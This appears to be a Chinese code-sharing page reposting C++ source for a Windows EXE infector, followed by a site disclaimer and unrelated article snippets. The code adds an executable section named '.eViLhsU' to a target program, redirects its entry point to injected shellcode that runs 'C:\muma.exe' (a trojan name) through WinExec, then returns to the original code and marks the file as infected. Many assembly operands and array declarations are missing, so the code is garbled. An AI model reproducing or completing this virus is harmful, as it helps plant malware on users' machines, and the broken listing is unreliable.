感染EXE文件代碼(C++)

C++代碼


#include <windows.h>? ?
#include <winnt.h>? ?
#include <stdio.h>? ?
#include <assert.h>? ?
? ?
#define DEBUG 1? ?
#define EXTRA_CODE_LENGTH 18? ?
#define SECTION_SIZE 0x1000? ?
#define SECTION_NAME ".eViLhsU"? ?
#define FILE_NAME_LENGTH 30? ?
? ?
int Align(int size, int ALIGN_BASE)? ?
{? ?
? ? int ret;? ?
? ? int result;? ?
? ?
? ? assert( 0 != ALIGN_BASE );? ???
? ? result = size % ALIGN_BASE;? ?
? ?
? ? if (0 != result) //余數不為零,也就是沒有整除? ?
? ? {? ?
? ?? ?? ?ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;? ?
? ? }? ?
? ? else? ?
? ? {? ?
? ?? ?? ?ret = size;? ?
? ? }? ?
? ?
? ? return ret;? ?
}? ?
? ?
int infect(char *sFilename)? ?
{? ?
? ? int i;? ?
? ? BYTE jmp;? ?
? ? FILE *pNewFile;? ?
? ? int numOfSections;? ?
? ? int FILE_ALIGN_MENT;? ?
? ? int SECTION_ALIGN_MENT;? ?
? ? int extraLengthAfterAlign;? ?
? ? int extra_data_real_length;? ?
? ?
? ? unsigned int newEP,oldEP;? ???
? ? char *pExtra_data;? ?
? ? char srcFileName;? ?
? ? char newFileName;? ?
? ?
? ? IMAGE_DOS_HEADER DosHeader;? ?
? ? IMAGE_NT_HEADERS NtHeader;? ?
? ? IMAGE_SECTION_HEADER SectionHeader;? ?
? ? IMAGE_SECTION_HEADER newSectionHeader; //新增加的節的節頭? ?
? ?
? ?? ???
? ? strcpy(newFileName,sFilename);? ?
? ? strcpy(srcFileName,newFileName);? ?
? ? strcat(srcFileName, ".bak");? ?
? ?
? ? if (!CopyFile(newFileName,srcFileName, FALSE))? ?
? ? {? ?
? ?? ?? ? printf("文件備份失敗\n");? ?
? ?? ?? ? return 1;? ?
? ? }? ?
? ?
? ? pNewFile = fopen(newFileName, "rb+");? ???
? ?
? ? if (NULL == pNewFile)? ?
? ? {? ?
? ?? ?? ? printf("打開文件失敗\n");? ?
? ?? ?? ? return 1;? ?
? ? }? ?
? ?
? ? fseek(pNewFile, 0, SEEK_SET);? ?
? ? //讀取IMAGE_DOS_HEADER? ?
? ? fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);? ?
? ?
? ? if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)? ?
? ? {? ?
? ?? ???printf("該文件不是有效的PE文件\n");? ?
? ?? ???return 1;? ?
? ? }? ?
? ?
? ? //先定位到pe文件頭,然后讀取IMAGE_NT_HEADERS? ?
? ? fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);? ?
? ? fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);? ?
? ?
? ? if (NtHeader.Signature != IMAGE_NT_SIGNATURE)? ?
? ? {? ?
? ?? ???printf("該文件不是有效的PE文件\n");? ?
? ?? ???return 1;? ?
? ? }? ?
? ?
? ?
? ? numOfSections = NtHeader.FileHeader.NumberOfSections;? ?
? ? FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;? ?
? ? SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;? ?
? ?
? ? //保存原來的入口備用? ?
? ? oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;? ?
? ?
? ? for (i = 0; i < numOfSections; i++)? ?
? ? {? ?
? ?? ???fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);? ?
? ?
? ?? ???printf("節:%s\n", SectionHeader.Name);? ?? ?? ?? ?? ???
? ?
? ?? ???if(strstr((const char*)SectionHeader.Name,".eViLhsU"))? ?
? ?? ???{? ?
? ?? ?? ?? ?printf("程序已經被感染!\n");? ???
? ?? ?? ?? ?return 1;? ?
? ?? ???}? ?
? ? }? ?
? ?
? ? extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);? ?
? ? NtHeader.FileHeader.NumberOfSections++;? ???
? ? memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));? ?
? ? strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));? ???
? ?
? ? newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress +? ???
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???SectionHeader.Misc.VirtualSize,? ?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???SECTION_ALIGN_MENT);? ?
? ?
? ? newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);? ?
? ?
? ? newSectionHeader.PointerToRawData = Align(? ?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? SectionHeader.PointerToRawData +? ?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? SectionHeader.SizeOfRawData,? ?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? FILE_ALIGN_MENT? ?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?);? ???
? ?
? ? newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);? ?
? ? newSectionHeader.Characteristics = 0xE0000020; //可讀可些可執行? ?
? ? NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode? ???
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?+ SECTION_SIZE, FILE_ALIGN_MENT);? ???
? ? NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage+? ???
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?Align(SECTION_SIZE, SECTION_ALIGN_MENT);? ?
? ? NtHeader.OptionalHeader.DataDirectory.VirtualAddress = 0;? ?
? ? NtHeader.OptionalHeader.DataDirectory.Size = 0;? ?
? ?
? ? fseek(pNewFile, 0, SEEK_END);? ?
? ? newEP = newSectionHeader.VirtualAddress;? ?
? ? NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;? ?
? ? //定位節表尾部? ?
? ? fseek(? ?
? ?? ?? ? pNewFile,? ???
? ?? ?? ? DosHeader.e_lfanew +? ?
? ?? ?? ? sizeof(IMAGE_NT_HEADERS)? ???
? ?? ?? ? + numOfSections * sizeof(IMAGE_SECTION_HEADER),? ?
? ?? ?? ? SEEK_SET? ?
? ?? ?? ?);? ?
? ? //寫入修正后的節頭? ?
? ? fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);? ?
? ? fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);? ?
? ? //寫入修正后的PE文件頭? ?
? ? fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);? ?
? ? fseek(pNewFile, 0, SEEK_END);? ?
? ?
? ? //寫入新節,這里先寫入0? ?
? ? for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)? ?
? ? {? ?
? ?? ? fputc(0, pNewFile);? ?
? ? }? ?
? ?
? ? fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);? ?
? ?
goto GetExtraData;? ?
? ?
extra_data_start:? ?
_asm pushad? ?
//獲取kernel32.dll的基址? ?
_asm mov eax, fs:0x30 ;PEB的地址? ?
_asm mov eax, ? ?
_asm mov esi, ? ?
_asm lodsd? ?
_asm mov eax, ;eax就是kernel32.dll的基址? ?
_asm mov edi, eax //同時保存kernel32.dll的基址到edi? ?
? ?
//通過搜索 kernel32.dll的導出表查找GetProcAddress函數的地址? ?
_asm mov ebp, eax? ?
_asm mov eax, ? ?
_asm mov edx, ? ?
_asm add edx, ebp? ?
_asm mov ecx, ? ?
_asm mov ebx, ? ?
_asm add ebx, ebp? ?
? ?
search:? ?
_asm dec ecx? ?
_asm mov esi, ? ?
? ?
_asm add esi, ebp? ?
_asm mov eax, 0x50746547? ?
_asm cmp , eax //比較"PteG"? ?
_asm jne search? ?
_asm mov eax, 0x41636f72? ?
_asm cmp , eax? ?
_asm jne search? ?
_asm mov ebx, ? ?
_asm add ebx, ebp? ?
_asm mov cx, ? ?
_asm mov ebx, ? ?
_asm add ebx, ebp? ?
_asm mov eax, ? ?
_asm add eax, ebp //eax保存的就是GetProcAddress的地址? ?
? ?
//為局部變量分配空間? ?
_asm push ebp? ?
_asm sub esp, 50h? ?
_asm mov ebp, esp? ?
? ?
//查找LoadLibrary的地址? ?
_asm mov , eax //把GetProcAddress的地址保存到ebp + 40中? ?
? ?
//開始查找LoadLibrary的地址, 先構造"LoadLibrary\0"? ?
_asm push 0x0? ?
? ?
_asm push DWORD PTR 0x41797261? ?
_asm push DWORD PTR 0x7262694c? ?
_asm push DWORD PTR 0x64616f4c? ?
_asm push esp //壓入"LoadLibrary\0"的地址? ?
_asm push edi //edi:kernel32的基址? ?
_asm call //返回值(即LoadLibrary的地址)保存在eax中? ?
_asm mov , eax //保存LoadLibrary的地址到ebp + 44h? ?
? ?
_asm push dword ptr 0x00636578? ?
_asm push dword ptr 0x456e6957? ?
_asm push esp? ?
_asm push edi? ?
_asm call ? ?? ?? ?//GetProcAddress(Kernel32基止,"WinExec")? ?
_asm mov ,eax? ?? ???//WinExec()的地址放在里? ?
? ?
_asm mov byte ptr ,43h? ???
_asm mov byte ptr ,3ah? ???
_asm mov byte ptr ,5ch? ???
_asm mov byte ptr ,6dh? ???
_asm mov byte ptr ,75h? ???
_asm mov byte ptr ,6dh? ???
_asm mov byte ptr ,61h? ???
_asm mov byte ptr ,2eh? ???
_asm mov byte ptr ,65h? ???
_asm mov byte ptr ,78h? ???
_asm mov byte ptr ,65h? ???
_asm mov byte ptr ,0h? ?
? ?
_asm lea edi,? ?? ?? ?? ?? ?? ?
_asm push edi? ?? ?? ?? ?? ?? ???
_asm call ? ?? ?? ?? ?? ?
? ?
_asm mov esp, ebp? ?
_asm add esp, 50h? ?
_asm popad? ?
extra_data_end:? ?
? ?
? ?
GetExtraData:? ?
_asm pushad;? ?
_asm lea eax, extra_data_start;? ?
_asm mov pExtra_data, eax;? ?
_asm lea edx, extra_data_end;? ?
_asm sub edx, eax;? ?
_asm mov extra_data_real_length, edx;? ?
_asm popad;? ?
? ?
? ?
//寫入附加數據? ?
? ?for (i = 0; i < extra_data_real_length; i++)? ?
? ?{? ?
? ?? ? fputc(pExtra_data, pNewFile);? ?
? ?}? ?
? ?
? ?
? ?oldEP = oldEP - (newEP + extra_data_real_length) - 5;? ?
? ?
? ?jmp = 0xE9;? ?
? ?fwrite(&jmp, sizeof(jmp), 1, pNewFile);? ?
? ?fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);? ?
? ?
? ?fclose(pNewFile);? ???
? ?
return 0;? ?
}? ?
? ?
BOOL AddEmptySection(char *ptFile,UINT uSize)? ?
{? ?
? ? HANDLE hFile = NULL;? ?
? ? HANDLE hMapping = NULL;? ???
? ? LPVOID bPointer = NULL;? ?
? ? PBYTE??pData = NULL;? ?
? ?
? ? hFile = CreateFile(? ?
? ?? ???ptFile,? ???
? ?? ???GENERIC_READ|GENERIC_WRITE,? ???
? ?? ???FILE_SHARE_READ|FILE_SHARE_WRITE,? ?
? ?? ???NULL,? ???
? ?? ???OPEN_EXISTING,? ???
? ?? ???FILE_FLAG_SEQUENTIAL_SCAN,? ?
? ?? ???NULL);? ?
? ? if (hFile == INVALID_HANDLE_VALUE)? ?
? ? {? ?
? ?? ???return FALSE;? ?
? ? }? ?
? ?
? ? DWORD dwSize = GetFileSize( hFile,NULL);? ?
? ? if( dwSize > 10000000)? ?
? ? {? ?
? ?? ???CloseHandle(hFile);? ?
? ?? ???return FALSE;? ?
? ? }? ?
? ?? ???
? ? //內存映射,創建一個有名的共享內存? ?
? ? if (!(hMapping = CreateFileMapping(hFile,? ???
? ?? ???0,? ???
? ?? ???PAGE_READWRITE | SEC_COMMIT,? ???
? ?? ???0,? ???
? ?? ???dwSize,? ???
? ?? ???NULL)))? ???
? ? {? ?
? ?? ???CloseHandle(hFile);? ???
? ?? ???return FALSE;? ?
? ? }? ???
? ?
? ? //映射對象視圖,進行讀寫操作? ?
? ? if (!(bPointer = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwSize)))? ???
? ? {? ?? ?
? ?? ???CloseHandle(hMapping);? ???
? ?? ???CloseHandle(hFile);? ???
? ?? ???return FALSE;? ???
? ? }? ???
? ?
? ? pData = (PBYTE)bPointer;? ?
? ?
? ? if (((PIMAGE_DOS_HEADER) pData)->e_magic != IMAGE_DOS_SIGNATURE)? ?
? ? {? ?
? ?? ???return FALSE;? ?
? ? }? ?
? ?
? ? if( *(DWORD*)(((PIMAGE_DOS_HEADER) pData)->e_res2) == 841127)? ?? ?
? ? {? ???
? ?? ???UnmapViewOfFile(bPointer);? ?
? ?? ???CloseHandle(hMapping);? ???
? ?? ???CloseHandle(hFile);? ???
? ?? ???return FALSE;? ?
? ? }? ?
? ? else? ?
? ? {? ?
? ?? ?? ?//設置標志? ?
? ?? ?? ?*(DWORD*)(((PIMAGE_DOS_HEADER) pData)->e_res2) = 841127;? ?
? ? }? ?
? ?
? ? PIMAGE_NT_HEADERS pNTHdr = (PIMAGE_NT_HEADERS) (pData + ((PIMAGE_DOS_HEADER) bPointer)->e_lfanew);? ?
? ? if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)? ?
? ? {? ?
? ?? ???return FALSE;? ?
? ? }? ?
? ?
? ? if ((pNTHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) >? ?
? ?? ???pNTHdr->OptionalHeader.SizeOfHeaders)? ?
? ? {? ?
? ?? ???return FALSE;? ?
? ? }? ?
? ?
? ? DWORD uCodeDelta = Align(uSize, pNTHdr->OptionalHeader.SectionAlignment);? ?
? ? DWORD dwFileDelta = Align(uSize, pNTHdr->OptionalHeader.FileAlignment);? ?
? ? PIMAGE_SECTION_HEADER pNewSec = (PIMAGE_SECTION_HEADER) (pNTHdr + 1)? ???
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? + pNTHdr->FileHeader.NumberOfSections;? ?
? ? PIMAGE_SECTION_HEADER pLastSec = pNewSec - 1;? ?
? ?
? ? memcpy(pNewSec->Name, ".EsT_", 5);? ?
? ? pNewSec->VirtualAddress = pLastSec->VirtualAddress + Align(pLastSec->Misc.VirtualSize,? ???
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?pNTHdr->OptionalHeader.SectionAlignment);? ?
? ? pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;? ?
? ? pNewSec->Misc.VirtualSize = uSize;? ?
? ? pNewSec->SizeOfRawData = 0;? ?
? ? pNewSec->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;? ?
? ?
? ? pNTHdr->FileHeader.NumberOfSections++;? ?
? ? pNTHdr->OptionalHeader.SizeOfCode += uCodeDelta;? ?
? ? pNTHdr->OptionalHeader.SizeOfImage += dwFileDelta;? ?
? ? pNTHdr->OptionalHeader.DataDirectory.Size = 0;? ?
? ? pNTHdr->OptionalHeader.DataDirectory.VirtualAddress = 0;? ?
? ?
? ? UnmapViewOfFile(bPointer);? ???
? ? CloseHandle(hMapping);? ?
? ? CloseHandle(hFile);? ?
? ? return TRUE;? ?
}? ?
? ?
int main(int argc, char *argv[])? ?
{? ?
? ?
? ? if (NULL == argv)? ?
? ? {? ?
? ?? ???printf("參數錯誤\n");? ???
? ? }? ?
? ?
? ? if(infect(argv)) exit(0); //感染程序? ?
? ? AddEmptySection(argv,100);//增加空節? ?
? ?
? ? return 0;? ?
}? ?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/388532.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/388532.shtml
英文地址,請注明出處:http://en.pswp.cn/news/388532.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

nlp gpt論文_GPT-3:NLP鎮的最新動態

nlp gpt論文什么是GPT-3&#xff1f; (What is GPT-3?) The launch of Open AI’s 3rd generation of the pre-trained language model, GPT-3 (Generative Pre-training Transformer) has got the data science fraternity buzzing with excitement!Open AI的第三代預訓練語言…

真實不裝| 阿里巴巴新人上路指北

新手上路&#xff0c;總想聽聽前輩們分享他們走過的路。橙子選取了阿里巴巴合伙人逍遙子&#xff08;阿里巴巴集團CEO&#xff09; 、Eric&#xff08;螞蟻金服董事長兼CEO&#xff09;、Judy&#xff08;阿里巴巴集團CPO&#xff09;的幾段分享&#xff0c;他們是如何看待職場…

小程序學習總結

上個周末抽空了解了一下小程序,現在將所學所感記錄以便日后翻看;需要指出的是我就粗略過了下小程序的api了解了下小程序的開發流程以及工具的使用,然后寫了一個小程序的demo;在我看來,如果有前端基礎學習小程序無異于錦上添花了,而我這個三年的碼農雖也寫過不少前端代碼但離專業…

tomcat java環境配置

jsp 環境變量配置 一、配置JDK 首先&#xff0c;從Sun網站上下載jdk。 雙擊jdk-1_5_0_04-windows-i586-p.exe開始安裝&#xff0c;默認安裝到C:/Program Files/Java/jdk1.5.0_04&#xff0c;你也可以更改路徑&#xff0c;但要記住最后選擇的路徑&#xff0c;設置環境變量的時候…

uber 數據可視化_使用R探索您在Uber上的活動:如何分析和可視化您的個人數據歷史記錄

uber 數據可視化Perhaps, dear reader, you are too young to remember that before, the only way to request a particular transport service such as a taxi was to raise a hand to make a signal to an available driver, who upon seeing you would stop if he was not …

java B2B2C springmvc mybatis電子商城系統(四)Ribbon

2019獨角獸企業重金招聘Python工程師標準>>> 一&#xff1a;Ribbon是什么&#xff1f; Ribbon是Netflix發布的開源項目&#xff0c;主要功能是提供客戶端的軟件負載均衡算法&#xff0c;將Netflix的中間層服務連接在一起。Ribbon客戶端組件提供一系列完善的配置項如…

c語言函數的形參有幾個,C中子函數最多有幾個形參

該樓層疑似違規已被系統折疊 隱藏此樓查看此樓C89 31個&#xff0c;C99 127個。ANSI C892.2.4.1 Translation limitsThe implementation shall be able to translate and execute at least one program that contains at least one instance of every one of the following lim…

Linux上Libevent的安裝

1、下載wget -O libevent-2.0.21-stable.tar.gz https://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz2、解壓 tar zxvf libevent-2.0.21-stable.tar.gz3、配置安裝路徑 cd libevent-2.0.21-stable ./configure -prefix/usr4、編譯并安裝 make make …

Win7安裝oracle 10 g

開始-運行-輸入hdwwiz-回車 ——選則手動 ——網絡適配器——左邊選Microsoft&#xff0c;右邊找到Microsoft Loopback Adapter ——完成 打開 控制面板\網絡和 Internet\網絡和共享中心 會發現多了一個本地連接 點詳細信息 發現是Microsoft Loopback Adapter的。…

基于plotly數據可視化_[Plotly + Datashader]可視化大型地理空間數據集

基于plotly數據可視化簡介(我們將創建的內容)&#xff1a; (Introduction (what we’ll create):) Unlike the previous tutorials in this map-based visualization series, we will be dealing with a very large dataset in this tutorial (about 2GB of lat, lon coordinat…

Centos用戶和用戶組管理

inux系統是一個多用戶多任務的分時操作系統&#xff0c;任何一個要使用系統資源的用戶&#xff0c;都必須首先向系統管理員申請一個賬號&#xff0c;然后以這個賬號的身份進入系統。1、添加新的用戶賬號使用useradd命令&#xff0c;其語法如下&#xff1a;useradd 選項 用戶名-…

吹氣球問題的C語言編程,C語言怎樣給一個數組中的數從大到小排序

滿意答案#include "stdio.h"int main(){int i,j;int a[12];for(i1; i<10; i)scanf("%d",&a[i]);for(i1; i<10; i)for(ji; j<10; j)if(a[i]{int ta[i];a[i]a[j];a[j]t;}//前十個數的排序for(i1; i<10; i)printf("%d ",a[i]);prin…

裴波那契數列

斐波那契數列&#xff1a;0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ... 求斐波那契數列第 n 項的值&#xff1a; 方法一&#xff1a;遞歸 function fibonacci(n) {if (!Number.isSafeInteger(n) || n < 0) {return;}if (n 0 || n 1) {return n;} else {return fibo…

劃痕實驗 遷移面積自動統計_從Jupyter遷移到合作實驗室

劃痕實驗 遷移面積自動統計If you want to use Google Colaboratory to perform your data analysis, for building data pipelines and data visualizations, here is the beginners’ guide to migrate from one tool to the other.如果您想使用Google Colaboratory進行數據分…

英法德三門語言同時達到c1,【分享】插翅而飛的孩子(轉載)

微信轉來的&#xff0c;覺得發人深思&#xff0c;轉來這里插翅而飛的孩子(一)開篇一&#xff1a;讓孩子擁有一雙豐滿的翅膀。作者簡介&#xff1a;英華蘭的Dr.Bing,德國兒童教育學博士&#xff0c;數字媒體碩士和計算機軟件工程本科。精通英法德三門語言&#xff0c;從事兒童語…

數據庫建表賦予權限語句

sqlplus /nologconn / as sysdba//創建臨時表空間create temporary tablespace zfmi_temptempfile D:\oracle\oradata\zfmi\zfmi_temp.dbf size 32m autoextend on next 32m maxsize 2048mextent management local;//tempfile參數必須有//創建數據表空間create tablespace zfmi…

day03 基本數據類型

1.什么是數據類型 變量值即我們 存放的數據 &#xff0c;數據類型及變量值的類型 2.變量值為何要區分類型 因為變量值使用記錄現實世界中事物的特征&#xff0c;針對不同的特征就應該用不同類型的值去標識 3.如何應用數據類型 一 數據類型&#xff1a; 1.整型int &#xff1a;…

美國移民局的I797表原件和I129表是什么呢

I-129表,Petition for a Non-immigrant Worker&#xff0c;即非移民工作許可申請表I797 表 &#xff0c;Original L1-1A approval notice L1簽證批準通過通知表L-1簽證的申請程序1. L-1簽證的申請必須首先由準備調派雇員的外國母公司在美國的分支機構向移民局提出陳情申請。這些…

數據開放 數據集_除開放式清洗之外:敘述是開放數據門戶的未來嗎?

數據開放 數據集There is growing consensus in the open data community that the mere release of open data — that is data that can be freely accessed, remixed, and redistributed — is not enough to realize the full potential of openness. Successful open data…

單選按鈕android服務器,android – 如何在radiogroup中將單選按鈕設置...

我已經動態創建了RadioGroup和RadioButton,如下所示&#xff1a;RadioGroup radioGroup new RadioGroup(context);RadioButton radioBtn1 new RadioButton(context);RadioButton radioBtn2 new RadioButton(context);RadioButton radioBtn3 new RadioButton(context);radio…